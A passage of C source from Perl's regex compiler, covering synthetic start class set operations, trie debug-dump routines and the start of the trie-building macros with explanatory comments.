ONLY_LOCALE_MATCHES_INDEX) { only_utf8_locale_invlist = ary[ONLY_LOCALE_MATCHES_INDEX]; } } if (! invlist) { invlist = sv_2mortal(_new_invlist(0)); } /* An ANYOF node contains a bitmap for the first NUM_ANYOF_CODE_POINTS * code points, and an inversion list for the others, but if there are code * points that should match only conditionally on the target string being * UTF-8, those are placed in the inversion list, and not the bitmap. * Since there are circumstances under which they could match, they are * included in the SSC. But if the ANYOF node is to be inverted, we have * to exclude them here, so that when we invert below, the end result * actually does include them. (Think about "\xe0" =~ /[^\xc0]/di;). We * have to do this here before we add the unconditionally matched code * points */ if (flags & ANYOF_INVERT) { _invlist_intersection_complement_2nd(invlist, PL_UpperLatin1, &invlist); } /* Add in the points from the bit map */ if (OP(node) != ANYOFH) { for (i = 0; i < NUM_ANYOF_CODE_POINTS; i++) { if (ANYOF_BITMAP_TEST(node, i)) { unsigned int start = i++; for (; i < NUM_ANYOF_CODE_POINTS && ANYOF_BITMAP_TEST(node, i); ++i) { /* empty */ } invlist = _add_range_to_invlist(invlist, start, i-1); new_node_has_latin1 = TRUE; } } } /* If this can match all upper Latin1 code points, have to add them * as well. But don't add them if inverting, as when that gets done below, * it would exclude all these characters, including the ones it shouldn't * that were added just above */ if (! (flags & ANYOF_INVERT) && OP(node) == ANYOFD && (flags & ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER)) { _invlist_union(invlist, PL_UpperLatin1, &invlist); } /* Similarly for these */ if (flags & ANYOF_MATCHES_ALL_ABOVE_BITMAP) { _invlist_union_complement_2nd(invlist, PL_InBitmap, &invlist); } if (flags & ANYOF_INVERT) { _invlist_invert(invlist); } else if (flags & ANYOFL_FOLD) { if (new_node_has_latin1) { /* Under /li, any 0-255 could fold to any other 0-255, depending on * the locale. We can skip this if there are no 0-255 at all. */ _invlist_union(invlist, PL_Latin1, &invlist); invlist = add_cp_to_invlist(invlist, LATIN_SMALL_LETTER_DOTLESS_I); invlist = add_cp_to_invlist(invlist, LATIN_CAPITAL_LETTER_I_WITH_DOT_ABOVE); } else { if (_invlist_contains_cp(invlist, LATIN_SMALL_LETTER_DOTLESS_I)) { invlist = add_cp_to_invlist(invlist, 'I'); } if (_invlist_contains_cp(invlist, LATIN_CAPITAL_LETTER_I_WITH_DOT_ABOVE)) { invlist = add_cp_to_invlist(invlist, 'i'); } } } /* Similarly add the UTF-8 locale possible matches. These have to be * deferred until after the non-UTF-8 locale ones are taken care of just * above, or it leads to wrong results under ANYOF_INVERT */ if (only_utf8_locale_invlist) { _invlist_union_maybe_complement_2nd(invlist, only_utf8_locale_invlist, flags & ANYOF_INVERT, &invlist); } return invlist; } /* These two functions currently do the exact same thing */ #define ssc_init_zero ssc_init #define ssc_add_cp(ssc, cp) ssc_add_range((ssc), (cp), (cp)) #define ssc_match_all_cp(ssc) ssc_add_range(ssc, 0, UV_MAX) /* 'AND' a given class with another one. Can create false positives. 'ssc' * should not be inverted. 'and_with->flags & ANYOF_MATCHES_POSIXL' should be * 0 if 'and_with' is a regnode_charclass instead of a regnode_ssc. */ STATIC void S_ssc_and(pTHX_ const RExC_state_t *pRExC_state, regnode_ssc *ssc, const regnode_charclass *and_with) { /* Accumulate into SSC 'ssc' its 'AND' with 'and_with', which is either * another SSC or a regular ANYOF class. Can create false positives. */ SV* anded_cp_list; U8 and_with_flags = (OP(and_with) == ANYOFH) ? 0 : ANYOF_FLAGS(and_with); U8 anded_flags; PERL_ARGS_ASSERT_SSC_AND; assert(is_ANYOF_SYNTHETIC(ssc)); /* 'and_with' is used as-is if it too is an SSC; otherwise have to extract * the code point inversion list and just the relevant flags */ if (is_ANYOF_SYNTHETIC(and_with)) { anded_cp_list = ((regnode_ssc *)and_with)->invlist; anded_flags = and_with_flags; /* XXX This is a kludge around what appears to be deficiencies in the * optimizer. If we make S_ssc_anything() add in the WARN_SUPER flag, * there are paths through the optimizer where it doesn't get weeded * out when it should. And if we don't make some extra provision for * it like the code just below, it doesn't get added when it should. * This solution is to add it only when AND'ing, which is here, and * only when what is being AND'ed is the pristine, original node * matching anything. Thus it is like adding it to ssc_anything() but * only when the result is to be AND'ed. Probably the same solution * could be adopted for the same problem we have with /l matching, * which is solved differently in S_ssc_init(), and that would lead to * fewer false positives than that solution has. But if this solution * creates bugs, the consequences are only that a warning isn't raised * that should be; while the consequences for having /l bugs is * incorrect matches */ if (ssc_is_anything((regnode_ssc *)and_with)) { anded_flags |= ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER; } } else { anded_cp_list = get_ANYOF_cp_list_for_ssc(pRExC_state, and_with); if (OP(and_with) == ANYOFD) { anded_flags = and_with_flags & ANYOF_COMMON_FLAGS; } else { anded_flags = and_with_flags &( ANYOF_COMMON_FLAGS |ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER |ANYOF_SHARED_d_UPPER_LATIN1_UTF8_STRING_MATCHES_non_d_RUNTIME_USER_PROP); if (ANYOFL_UTF8_LOCALE_REQD(and_with_flags)) { anded_flags &= ANYOFL_SHARED_UTF8_LOCALE_fold_HAS_MATCHES_nonfold_REQD; } } } ANYOF_FLAGS(ssc) &= anded_flags; /* Below, C1 is the list of code points in 'ssc'; P1, its posix classes. * C2 is the list of code points in 'and-with'; P2, its posix classes. * 'and_with' may be inverted. When not inverted, we have the situation of * computing: * (C1 | P1) & (C2 | P2) * = (C1 & (C2 | P2)) | (P1 & (C2 | P2)) * = ((C1 & C2) | (C1 & P2)) | ((P1 & C2) | (P1 & P2)) * <= ((C1 & C2) | P2)) | ( P1 | (P1 & P2)) * <= ((C1 & C2) | P1 | P2) * Alternatively, the last few steps could be: * = ((C1 & C2) | (C1 & P2)) | ((P1 & C2) | (P1 & P2)) * <= ((C1 & C2) | C1 ) | ( C2 | (P1 & P2)) * <= (C1 | C2 | (P1 & P2)) * We favor the second approach if either P1 or P2 is non-empty. This is * because these components are a barrier to doing optimizations, as what * they match cannot be known until the moment of matching as they are * dependent on the current locale, 'AND"ing them likely will reduce or * eliminate them. * But we can do better if we know that C1,P1 are in their initial state (a * frequent occurrence), each matching everything: * (<everything>) & (C2 | P2) = C2 | P2 * Similarly, if C2,P2 are in their initial state (again a frequent * occurrence), the result is a no-op * (C1 | P1) & (<everything>) = C1 | P1 * * Inverted, we have * (C1 | P1) & ~(C2 | P2) = (C1 | P1) & (~C2 & ~P2) * = (C1 & (~C2 & ~P2)) | (P1 & (~C2 & ~P2)) * <= (C1 & ~C2) | (P1 & ~P2) * */ if ((and_with_flags & ANYOF_INVERT) && ! is_ANYOF_SYNTHETIC(and_with)) { unsigned int i; ssc_intersection(ssc, anded_cp_list, FALSE /* Has already been inverted */ ); /* If either P1 or P2 is empty, the intersection will be also; can skip * the loop */ if (! (and_with_flags & ANYOF_MATCHES_POSIXL)) { ANYOF_POSIXL_ZERO(ssc); } else if (ANYOF_POSIXL_SSC_TEST_ANY_SET(ssc)) { /* Note that the Posix class component P from 'and_with' actually * looks like: * P = Pa | Pb | ... | Pn * where each component is one posix class, such as in [\w\s]. * Thus * ~P = ~(Pa | Pb | ... | Pn) * = ~Pa & ~Pb & ... & ~Pn * <= ~Pa | ~Pb | ... | ~Pn * The last is something we can easily calculate, but unfortunately * is likely to have many false positives. We could do better * in some (but certainly not all) instances if two classes in * P have known relationships. For example * :lower: <= :alpha: <= :alnum: <= \w <= :graph: <= :print: * So * :lower: & :print: = :lower: * And similarly for classes that must be disjoint. For example, * since \s and \w can have no elements in common based on rules in * the POSIX standard, * \w & ^\S = nothing * Unfortunately, some vendor locales do not meet the Posix * standard, in particular almost everything by Microsoft. * The loop below just changes e.g., \w into \W and vice versa */ regnode_charclass_posixl temp; int add = 1; /* To calculate the index of the complement */ Zero(&temp, 1, regnode_charclass_posixl); ANYOF_POSIXL_ZERO(&temp); for (i = 0; i < ANYOF_MAX; i++) { assert(i % 2 != 0 || ! ANYOF_POSIXL_TEST((regnode_charclass_posixl*) and_with, i) || ! ANYOF_POSIXL_TEST((regnode_charclass_posixl*) and_with, i + 1)); if (ANYOF_POSIXL_TEST((regnode_charclass_posixl*) and_with, i)) { ANYOF_POSIXL_SET(&temp, i + add); } add = 0 - add; /* 1 goes to -1; -1 goes to 1 */ } ANYOF_POSIXL_AND(&temp, ssc); } /* else ssc already has no posixes */ } /* else: Not inverted. This routine is a no-op if 'and_with' is an SSC in its initial state */ else if (! is_ANYOF_SYNTHETIC(and_with) || ! ssc_is_cp_posixl_init(pRExC_state, (regnode_ssc *)and_with)) { /* But if 'ssc' is in its initial state, the result is just 'and_with'; * copy it over 'ssc' */ if (ssc_is_cp_posixl_init(pRExC_state, ssc)) { if (is_ANYOF_SYNTHETIC(and_with)) { StructCopy(and_with, ssc, regnode_ssc); } else { ssc->invlist = anded_cp_list; ANYOF_POSIXL_ZERO(ssc); if (and_with_flags & ANYOF_MATCHES_POSIXL) { ANYOF_POSIXL_OR((regnode_charclass_posixl*) and_with, ssc); } } } else if (ANYOF_POSIXL_SSC_TEST_ANY_SET(ssc) || (and_with_flags & ANYOF_MATCHES_POSIXL)) { /* One or the other of P1, P2 is non-empty. */ if (and_with_flags & ANYOF_MATCHES_POSIXL) { ANYOF_POSIXL_AND((regnode_charclass_posixl*) and_with, ssc); } ssc_union(ssc, anded_cp_list, FALSE); } else { /* P1 = P2 = empty */ ssc_intersection(ssc, anded_cp_list, FALSE); } } } STATIC void S_ssc_or(pTHX_ const RExC_state_t *pRExC_state, regnode_ssc *ssc, const regnode_charclass *or_with) { /* Accumulate into SSC 'ssc' its 'OR' with 'or_with', which is either * another SSC or a regular ANYOF class. Can create false positives if * 'or_with' is to be inverted. */ SV* ored_cp_list; U8 ored_flags; U8 or_with_flags = (OP(or_with) == ANYOFH) ? 0 : ANYOF_FLAGS(or_with); PERL_ARGS_ASSERT_SSC_OR; assert(is_ANYOF_SYNTHETIC(ssc)); /* 'or_with' is used as-is if it too is an SSC; otherwise have to extract * the code point inversion list and just the relevant flags */ if (is_ANYOF_SYNTHETIC(or_with)) { ored_cp_list = ((regnode_ssc*) or_with)->invlist; ored_flags = or_with_flags; } else { ored_cp_list = get_ANYOF_cp_list_for_ssc(pRExC_state, or_with); ored_flags = or_with_flags & ANYOF_COMMON_FLAGS; if (OP(or_with) != ANYOFD) { ored_flags |= or_with_flags & ( ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER |ANYOF_SHARED_d_UPPER_LATIN1_UTF8_STRING_MATCHES_non_d_RUNTIME_USER_PROP); if (ANYOFL_UTF8_LOCALE_REQD(or_with_flags)) { ored_flags |= ANYOFL_SHARED_UTF8_LOCALE_fold_HAS_MATCHES_nonfold_REQD; } } } ANYOF_FLAGS(ssc) |= ored_flags; /* Below, C1 is the list of code points in 'ssc'; P1, its posix classes. * C2 is the list of code points in 'or-with'; P2, its posix classes. * 'or_with' may be inverted. When not inverted, we have the simple * situation of computing: * (C1 | P1) | (C2 | P2) = (C1 | C2) | (P1 | P2) * If P1|P2 yields a situation with both a class and its complement are * set, like having both \w and \W, this matches all code points, and we * can delete these from the P component of the ssc going forward. XXX We * might be able to delete all the P components, but I (khw) am not certain * about this, and it is better to be safe. * * Inverted, we have * (C1 | P1) | ~(C2 | P2) = (C1 | P1) | (~C2 & ~P2) * <= (C1 | P1) | ~C2 * <= (C1 | ~C2) | P1 * (which results in actually simpler code than the non-inverted case) * */ if ((or_with_flags & ANYOF_INVERT) && ! is_ANYOF_SYNTHETIC(or_with)) { /* We ignore P2, leaving P1 going forward */ } /* else Not inverted */ else if (or_with_flags & ANYOF_MATCHES_POSIXL) { ANYOF_POSIXL_OR((regnode_charclass_posixl*)or_with, ssc); if (ANYOF_POSIXL_SSC_TEST_ANY_SET(ssc)) { unsigned int i; for (i = 0; i < ANYOF_MAX; i += 2) { if (ANYOF_POSIXL_TEST(ssc, i) && ANYOF_POSIXL_TEST(ssc, i + 1)) { ssc_match_all_cp(ssc); ANYOF_POSIXL_CLEAR(ssc, i); ANYOF_POSIXL_CLEAR(ssc, i+1); } } } } ssc_union(ssc, ored_cp_list, FALSE /* Already has been inverted */ ); } PERL_STATIC_INLINE void S_ssc_union(pTHX_ regnode_ssc *ssc, SV* const invlist, const bool invert2nd) { PERL_ARGS_ASSERT_SSC_UNION; assert(is_ANYOF_SYNTHETIC(ssc)); _invlist_union_maybe_complement_2nd(ssc->invlist, invlist, invert2nd, &ssc->invlist); } PERL_STATIC_INLINE void S_ssc_intersection(pTHX_ regnode_ssc *ssc, SV* const invlist, const bool invert2nd) { PERL_ARGS_ASSERT_SSC_INTERSECTION; assert(is_ANYOF_SYNTHETIC(ssc)); _invlist_intersection_maybe_complement_2nd(ssc->invlist, invlist, invert2nd, &ssc->invlist); } PERL_STATIC_INLINE void S_ssc_add_range(pTHX_ regnode_ssc *ssc, const UV start, const UV end) { PERL_ARGS_ASSERT_SSC_ADD_RANGE; assert(is_ANYOF_SYNTHETIC(ssc)); ssc->invlist = _add_range_to_invlist(ssc->invlist, start, end); } PERL_STATIC_INLINE void S_ssc_cp_and(pTHX_ regnode_ssc *ssc, const UV cp) { /* AND just the single code point 'cp' into the SSC 'ssc' */ SV* cp_list = _new_invlist(2); PERL_ARGS_ASSERT_SSC_CP_AND; assert(is_ANYOF_SYNTHETIC(ssc)); cp_list = add_cp_to_invlist(cp_list, cp); ssc_intersection(ssc, cp_list, FALSE /* Not inverted */ ); SvREFCNT_dec_NN(cp_list); } PERL_STATIC_INLINE void S_ssc_clear_locale(regnode_ssc *ssc) { /* Set the SSC 'ssc' to not match any locale things */ PERL_ARGS_ASSERT_SSC_CLEAR_LOCALE; assert(is_ANYOF_SYNTHETIC(ssc)); ANYOF_POSIXL_ZERO(ssc); ANYOF_FLAGS(ssc) &= ~ANYOF_LOCALE_FLAGS; } #define NON_OTHER_COUNT NON_OTHER_COUNT_FOR_USE_ONLY_BY_REGCOMP_DOT_C STATIC bool S_is_ssc_worth_it(const RExC_state_t * pRExC_state, const regnode_ssc * ssc) { /* The synthetic start class is used to hopefully quickly winnow down * places where a pattern could start a match in the target string. If it * doesn't really narrow things down that much, there isn't much point to * having the overhead of using it. This function uses some very crude * heuristics to decide if to use the ssc or not. * * It returns TRUE if 'ssc' rules out more than half what it considers to * be the "likely" possible matches, but of course it doesn't know what the * actual things being matched are going to be; these are only guesses * * For /l matches, it assumes that the only likely matches are going to be * in the 0-255 range, uniformly distributed, so half of that is 127 * For /a and /d matches, it assumes that the likely matches will be just * the ASCII range, so half of that is 63 * For /u and there isn't anything matching above the Latin1 range, it * assumes that that is the only range likely to be matched, and uses * half that as the cut-off: 127. If anything matches above Latin1, * it assumes that all of Unicode could match (uniformly), except for * non-Unicode code points and things in the General Category "Other" * (unassigned, private use, surrogates, controls and formats). This * is a much large number. */ U32 count = 0; /* Running total of number of code points matched by 'ssc' */ UV start, end; /* Start and end points of current range in inversion XXX outdated. UTF-8 locales are common, what about invert? list */ const U32 max_code_points = (LOC) ? 256 : (( ! UNI_SEMANTICS || invlist_highest(ssc->invlist) < 256) ? 128 : NON_OTHER_COUNT); const U32 max_match = max_code_points / 2; PERL_ARGS_ASSERT_IS_SSC_WORTH_IT; invlist_iterinit(ssc->invlist); while (invlist_iternext(ssc->invlist, &start, &end)) { if (start >= max_code_points) { break; } end = MIN(end, max_code_points - 1); count += end - start + 1; if (count >= max_match) { invlist_iterfinish(ssc->invlist); return FALSE; } } return TRUE; } STATIC void S_ssc_finalize(pTHX_ RExC_state_t *pRExC_state, regnode_ssc *ssc) { /* The inversion list in the SSC is marked mortal; now we need a more * permanent copy, which is stored the same way that is done in a regular * ANYOF node, with the first NUM_ANYOF_CODE_POINTS code points in a bit * map */ SV* invlist = invlist_clone(ssc->invlist, NULL); PERL_ARGS_ASSERT_SSC_FINALIZE; assert(is_ANYOF_SYNTHETIC(ssc)); /* The code in this file assumes that all but these flags aren't relevant * to the SSC, except SSC_MATCHES_EMPTY_STRING, which should be cleared * by the time we reach here */ assert(! (ANYOF_FLAGS(ssc) & ~( ANYOF_COMMON_FLAGS |ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER |ANYOF_SHARED_d_UPPER_LATIN1_UTF8_STRING_MATCHES_non_d_RUNTIME_USER_PROP))); populate_ANYOF_from_invlist( (regnode *) ssc, &invlist); set_ANYOF_arg(pRExC_state, (regnode *) ssc, invlist, NULL, NULL); /* Make sure is clone-safe */ ssc->invlist = NULL; if (ANYOF_POSIXL_SSC_TEST_ANY_SET(ssc)) { ANYOF_FLAGS(ssc) |= ANYOF_MATCHES_POSIXL; OP(ssc) = ANYOFPOSIXL; } else if (RExC_contains_locale) { OP(ssc) = ANYOFL; } assert(! (ANYOF_FLAGS(ssc) & ANYOF_LOCALE_FLAGS) || RExC_contains_locale); } #define TRIE_LIST_ITEM(state,idx) (trie->states[state].trans.list)[ idx ] #define TRIE_LIST_CUR(state) ( TRIE_LIST_ITEM( state, 0 ).forid ) #define TRIE_LIST_LEN(state) ( TRIE_LIST_ITEM( state, 0 ).newstate ) #define TRIE_LIST_USED(idx) ( trie->states[state].trans.list \ ? (TRIE_LIST_CUR( idx ) - 1) \ : 0 ) #ifdef DEBUGGING /* dump_trie(trie,widecharmap,revcharmap) dump_trie_interim_list(trie,widecharmap,revcharmap,next_alloc) dump_trie_interim_table(trie,widecharmap,revcharmap,next_alloc) These routines dump out a trie in a somewhat readable format. The _interim_ variants are used for debugging the interim tables that are used to generate the final compressed representation which is what dump_trie expects. Part of the reason for their existence is to provide a form of documentation as to how the different representations function. */ /* Dumps the final compressed table form of the trie to Perl_debug_log. Used for debugging make_trie(). */ STATIC void S_dump_trie(pTHX_ const struct _reg_trie_data *trie, HV *widecharmap, AV *revcharmap, U32 depth) { U32 state; SV *sv=sv_newmortal(); int colwidth= widecharmap ? 6 : 4; U16 word; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_DUMP_TRIE; Perl_re_indentf( aTHX_ "Char : %-6s%-6s%-4s ", depth+1, "Match","Base","Ofs" ); for( state = 0 ; state < trie->uniquecharcount ; state++ ) { SV ** const tmp = av_fetch( revcharmap, state, 0); if ( tmp ) { Perl_re_printf( aTHX_ "%*s", colwidth, pv_pretty(sv, SvPV_nolen_const(*tmp), SvCUR(*tmp), colwidth, PL_colors[0], PL_colors[1], (SvUTF8(*tmp) ? PERL_PV_ESCAPE_UNI : 0) | PERL_PV_ESCAPE_FIRSTCHAR ) ); } } Perl_re_printf( aTHX_ "\n"); Perl_re_indentf( aTHX_ "State|-----------------------", depth+1); for( state = 0 ; state < trie->uniquecharcount ; state++ ) Perl_re_printf( aTHX_ "%.*s", colwidth, "--------"); Perl_re_printf( aTHX_ "\n"); for( state = 1 ; state < trie->statecount ; state++ ) { const U32 base = trie->states[ state ].trans.base; Perl_re_indentf( aTHX_ "#%4" UVXf "|", depth+1, (UV)state); if ( trie->states[ state ].wordnum ) { Perl_re_printf( aTHX_ " W%4X", trie->states[ state ].wordnum ); } else { Perl_re_printf( aTHX_ "%6s", "" ); } Perl_re_printf( aTHX_ " @%4" UVXf " ", (UV)base ); if ( base ) { U32 ofs = 0; while( ( base + ofs < trie->uniquecharcount ) || ( base + ofs - trie->uniquecharcount < trie->lasttrans && trie->trans[ base + ofs - trie->uniquecharcount ].check != state)) ofs++; Perl_re_printf( aTHX_ "+%2" UVXf "[ ", (UV)ofs); for ( ofs = 0 ; ofs < trie->uniquecharcount ; ofs++ ) { if ( ( base + ofs >= trie->uniquecharcount ) && ( base + ofs - trie->uniquecharcount < trie->lasttrans ) && trie->trans[ base + ofs - trie->uniquecharcount ].check == state ) { Perl_re_printf( aTHX_ "%*" UVXf, colwidth, (UV)trie->trans[ base + ofs - trie->uniquecharcount ].next ); } else { Perl_re_printf( aTHX_ "%*s", colwidth," ." ); } } Perl_re_printf( aTHX_ "]"); } Perl_re_printf( aTHX_ "\n" ); } Perl_re_indentf( aTHX_ "word_info N:(prev,len)=", depth); for (word=1; word <= trie->wordcount; word++) { Perl_re_printf( aTHX_ " %d:(%d,%d)", (int)word, (int)(trie->wordinfo[word].prev), (int)(trie->wordinfo[word].len)); } Perl_re_printf( aTHX_ "\n" ); } /* Dumps a fully constructed but uncompressed trie in list form. List tries normally only are used for construction when the number of possible chars (trie->uniquecharcount) is very high. Used for debugging make_trie(). */ STATIC void S_dump_trie_interim_list(pTHX_ const struct _reg_trie_data *trie, HV *widecharmap, AV *revcharmap, U32 next_alloc, U32 depth) { U32 state; SV *sv=sv_newmortal(); int colwidth= widecharmap ? 6 : 4; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_DUMP_TRIE_INTERIM_LIST; /* print out the table precompression. */ Perl_re_indentf( aTHX_ "State :Word | Transition Data\n", depth+1 ); Perl_re_indentf( aTHX_ "%s", depth+1, "------:-----+-----------------\n" ); for( state=1 ; state < next_alloc ; state ++ ) { U16 charid; Perl_re_indentf( aTHX_ " %4" UVXf " :", depth+1, (UV)state ); if ( ! trie->states[ state ].wordnum ) { Perl_re_printf( aTHX_ "%5s| ",""); } else { Perl_re_printf( aTHX_ "W%4x| ", trie->states[ state ].wordnum ); } for( charid = 1 ; charid <= TRIE_LIST_USED( state ) ; charid++ ) { SV ** const tmp = av_fetch( revcharmap, TRIE_LIST_ITEM(state, charid).forid, 0); if ( tmp ) { Perl_re_printf( aTHX_ "%*s:%3X=%4" UVXf " | ", colwidth, pv_pretty(sv, SvPV_nolen_const(*tmp), SvCUR(*tmp), colwidth, PL_colors[0], PL_colors[1], (SvUTF8(*tmp) ? PERL_PV_ESCAPE_UNI : 0) | PERL_PV_ESCAPE_FIRSTCHAR ) , TRIE_LIST_ITEM(state, charid).forid, (UV)TRIE_LIST_ITEM(state, charid).newstate ); if (!(charid % 10)) Perl_re_printf( aTHX_ "\n%*s| ", (int)((depth * 2) + 14), ""); } } Perl_re_printf( aTHX_ "\n"); } } /* Dumps a fully constructed but uncompressed trie in table form. This is the normal DFA style state transition table, with a few twists to facilitate compression later. Used for debugging make_trie(). */ STATIC void S_dump_trie_interim_table(pTHX_ const struct _reg_trie_data *trie, HV *widecharmap, AV *revcharmap, U32 next_alloc, U32 depth) { U32 state; U16 charid; SV *sv=sv_newmortal(); int colwidth= widecharmap ? 6 : 4; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_DUMP_TRIE_INTERIM_TABLE; /* print out the table precompression so that we can do a visual check that they are identical. */ Perl_re_indentf( aTHX_ "Char : ", depth+1 ); for( charid = 0 ; charid < trie->uniquecharcount ; charid++ ) { SV ** const tmp = av_fetch( revcharmap, charid, 0); if ( tmp ) { Perl_re_printf( aTHX_ "%*s", colwidth, pv_pretty(sv, SvPV_nolen_const(*tmp), SvCUR(*tmp), colwidth, PL_colors[0], PL_colors[1], (SvUTF8(*tmp) ? PERL_PV_ESCAPE_UNI : 0) | PERL_PV_ESCAPE_FIRSTCHAR ) ); } } Perl_re_printf( aTHX_ "\n"); Perl_re_indentf( aTHX_ "State+-", depth+1 ); for( charid=0 ; charid < trie->uniquecharcount ; charid++ ) { Perl_re_printf( aTHX_ "%.*s", colwidth,"--------"); } Perl_re_printf( aTHX_ "\n" ); for( state=1 ; state < next_alloc ; state += trie->uniquecharcount ) { Perl_re_indentf( aTHX_ "%4" UVXf " : ", depth+1, (UV)TRIE_NODENUM( state ) ); for( charid = 0 ; charid < trie->uniquecharcount ; charid++ ) { UV v=(UV)SAFE_TRIE_NODENUM( trie->trans[ state + charid ].next ); if (v) Perl_re_printf( aTHX_ "%*" UVXf, colwidth, v ); else Perl_re_printf( aTHX_ "%*s", colwidth, "." ); } if ( ! trie->states[ TRIE_NODENUM( state ) ].wordnum ) { Perl_re_printf( aTHX_ " (%4" UVXf ")\n", (UV)trie->trans[ state ].check ); } else { Perl_re_printf( aTHX_ " (%4" UVXf ") W%4X\n", (UV)trie->trans[ state ].check, trie->states[ TRIE_NODENUM( state ) ].wordnum ); } } } #endif /* make_trie(startbranch,first,last,tail,word_count,flags,depth) startbranch: the first branch in the whole branch sequence first : start branch of sequence of branch-exact nodes. May be the same as startbranch last : Thing following the last branch. May be the same as tail. tail : item following the branch sequence count : words in the sequence flags : currently the OP() type we will be building one of /EXACT(|F|FA|FU|FU_SS|L|FLU8)/ depth : indent depth Inplace optimizes a sequence of 2 or more Branch-Exact nodes into a TRIE node. A trie is an N'ary tree where the branches are determined by digital decomposition of the key. IE, at the root node you look up the 1st character and follow that branch repeat until you find the end of the branches. Nodes can be marked as "accepting" meaning they represent a complete word. Eg: /he|she|his|hers/ would convert into the following structure. Numbers represent states, letters following numbers represent valid transitions on the letter from that state, if the number is in square brackets it represents an accepting state, otherwise it will be in parenthesis. +-h->+-e->[3]-+-r->(8)-+-s->[9] | | | (2) | | (1) +-i->(6)-+-s->[7] | +-s->(3)-+-h->(4)-+-e->[5] Accept Word Mapping: 3=>1 (he),5=>2 (she), 7=>3 (his), 9=>4 (hers) This shows that when matching against the string 'hers' we will begin at state 1 read 'h' and move to state 2, read 'e' and move to state 3 which is accepting, then read 'r' and go to state 8 followed by 's' which takes us to state 9 which is also accepting. Thus we know that we can match both 'he' and 'hers' with a single traverse. We store a mapping from accepting to state to which word was matched, and then when we have multiple possibilities we try to complete the rest of the regex in the order in which they occurred in the alternation. The only prior NFA like behaviour that would be changed by the TRIE support is the silent ignoring of duplicate alternations which are of the form: / (DUPE|DUPE) X? (?{ ... }) Y /x Thus EVAL blocks following a trie may be called a different number of times with and without the optimisation. With the optimisations dupes will be silently ignored. This inconsistent behaviour of EVAL type nodes is well established as the following demonstrates: 'words'=~/(word|word|word)(?{ print $1 })[xyz]/ which prints out 'word' three times, but 'words'=~/(word|word|word)(?{ print $1 })S/ which doesnt print it out at all. This is due to other optimisations kicking in. Example of what happens on a structural level: The regexp /(ac|ad|ab)+/ will produce the following debug output: 1: CURLYM[1] {1,32767}(18) 5: BRANCH(8) 6: EXACT <ac>(16) 8: BRANCH(11) 9: EXACT <ad>(16) 11: BRANCH(14) 12: EXACT <ab>(16) 16: SUCCEED(0) 17: NOTHING(18) 18: END(0) This would be optimizable with startbranch=5, first=5, last=16, tail=16 and should turn into: 1: CURLYM[1] {1,32767}(18) 5: TRIE(16) [Words:3 Chars Stored:6 Unique Chars:4 States:5 NCP:1] <ac> <ad> <ab> 16: SUCCEED(0) 17: NOTHING(18) 18: END(0) Cases where tail != last would be like /(?foo|bar)baz/: 1: BRANCH(4) 2: EXACT <foo>(8) 4: BRANCH(7) 5: EXACT <bar>(8) 7: TAIL(8) 8: EXACT <baz>(10) 10: END(0) which would be optimizable with startbranch=1, first=1, last=7, tail=8 and would end up looking like: 1: TRIE(8) [Words:2 Chars Stored:6 Unique Chars:5 States:7 NCP:1] <foo> <bar> 7: TAIL(8) 8: EXACT <baz>(10) 10: END(0) d = uvchr_to_utf8_flags(d, uv, 0); is the recommended Unicode-aware way of saying *(d++) = uv; */ #define TRIE_STORE_REVCHAR(val) \ STMT_START { \ if (UTF) { \ SV *zlopp = newSV(UTF8_MAXBYTES); \ unsigned char *flrbbbbb = (unsigned char *) SvPVX(zlopp); \ unsigned const char *const kapow = uvchr_to_utf8(flrbbbbb, val); \ SvCUR_set(zlopp, kapow - flrbbbbb); \ SvPOK_on(zlopp); \ SvUTF8_on(zlopp); \ av_push(revcharmap, zlopp); \ } else { \ char ooooff = (char)val; \ av_push(revcharmap, newSVpvn(&ooooff, 1)); \ } \ } STMT_END /* This gets the next character from the input, folding it if not already * folded. */ #define TRIE_READ_CHAR STMT_START { \ wordlen++; \ if ( UTF ) { \ /* if it is UTF then it is either already folded, or does not need \ * folding */ \ uvc = valid_utf8_to_uvchr( (const U8*) uc, &len); \ } \ else if (folder == PL_fold_latin1) { \ /* This folder implies Unicode rules, which in the range expressible \ * by not UTF is the lower case, with the two exceptions, one of \ * which should have been taken care of before calling this */ \ assert(*uc != LATIN_SMALL_LETTER_SHARP_S); \ uvc = toLOWER_L1(*uc); \ if (UNLIKELY(uvc == MICRO_SIGN)) uvc = GREEK_SMALL_LETTER_MU; \ len = 1; \ } else { \ /* raw data, will be folded later if needed */ \ uvc = (U32)*uc; \ len = 1; \ } \ } STMT_END #define TRIE_LIST_PUSH(state,fid,ns) STMT_START { \ if ( TRIE_LIST_CUR( state ) >=TRIE_LIST_LEN( state ) ) { \ U32 ging = TRIE_LIST_LEN( state ) * 2; \ Renew( trie->states[ state ].trans.list, ging, reg_trie_trans_le ); \ TRIE_LIST_LEN( state ) = ging; \ } \ TRIE_LIST_ITEM( state, TRIE_LIST_CUR( state ) ).forid = fid; \ TRIE_LIST_ITEM( state, TRIE_LIST_CUR( state ) ).newstate = ns; \ TRIE_LIST_CUR( state )++; \ } STMT_END #define TRIE_LIST_NEW(state) STMT_START { \ Newx( trie->states[ state ].trans.list, \ 4, reg_trie_trans_le ); \ TRIE_LIST_CUR( state ) = 1; \ TRIE_LIST_LEN( state ) = 4; \ } STMT_END #define TRIE_HANDLE_WORD(state) STMT_START { \ U16 dupe= trie->states[ state ].wordnum; \ regnode * const noper_next = regnext( noper ); \ \ DEBUG_r({ \ /* store the word for dumping */ \ SV* tmp; \ if (OP(noper) != NOTHING) \ tmp = newSVpvn_utf8(STRING(noper), STR_LEN(noper), UTF); \ else \ tmp = newSVpvn_utf8( "", 0, UTF ); \ av_push( trie_words, tmp ); \ }); \ \ curword++; \ trie->wordinfo[curword].prev = 0; \ trie->wordinfo[curword].len = wordlen; \ trie->wordinfo[curword].accept = state; \ \ if ( noper_next < tail ) { \ if (!trie->jump) \ trie->jump = (U16 *) 